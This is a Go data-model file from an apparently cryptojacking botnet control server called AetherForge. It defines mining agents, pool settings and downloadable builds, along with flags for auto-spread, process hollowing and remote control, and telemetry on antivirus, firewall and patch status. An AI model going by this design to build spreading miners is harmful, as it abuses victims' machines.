Files
AetherForge/server/internal/models/agent.go
AetherForge 01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity.
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00

154 lines
5.8 KiB
Go

package models
import "time"
type Agent struct {
ID string `json:"id"`
Name string `json:"name"`
Wallet string `json:"wallet"`
IP string `json:"ip"`
Version string `json:"version"`
Status string `json:"status"` // online, offline, error
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
LastSeen time.Time `json:"last_seen"`
CreatedAt time.Time `json:"created_at"`
// Runtime stats (updated via heartbeat)
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesTotal int `json:"shares_total"`
SharesGood int `json:"shares_good"`
SharesBad int `json:"shares_bad"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
Notes string `json:"notes"`
Tags []string `json:"tags"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
// Listen ports count (full list via listen_ports command)
ListenPortCount *int `json:"listen_port_count,omitempty"`
// DNS config — T1016 System Network Configuration Discovery
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
DNSDrifted bool `json:"dns_drifted,omitempty"`
// Resource pressure — mining-specific runtime telemetry
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
CPUTempC *int `json:"cpu_temp_c,omitempty"`
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
DiskFreePct *int `json:"disk_free_pct,omitempty"`
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
// T1007 System Service Discovery — fixed allowlist only
Services []AgentService `json:"services,omitempty"`
}
// AgentService mirrors the ServiceStatus reported by the agent.
type AgentService struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type"`
}
// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
}
type Share struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
JobID string `json:"job_id"`
Difficulty int64 `json:"difficulty"`
Accepted bool `json:"accepted"`
Hash string `json:"hash"`
Nonce string `json:"nonce"`
Error string `json:"error,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {
ID string `json:"id"`
Height int64 `json:"height"`
Difficulty int64 `json:"difficulty"`
BlockTemplate string `json:"block_template"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
CreatedAt time.Time `json:"created_at"`
}
type BuildExtraFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
type BuildRecord struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
FileName string `json:"file_name"` // base filename for display
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}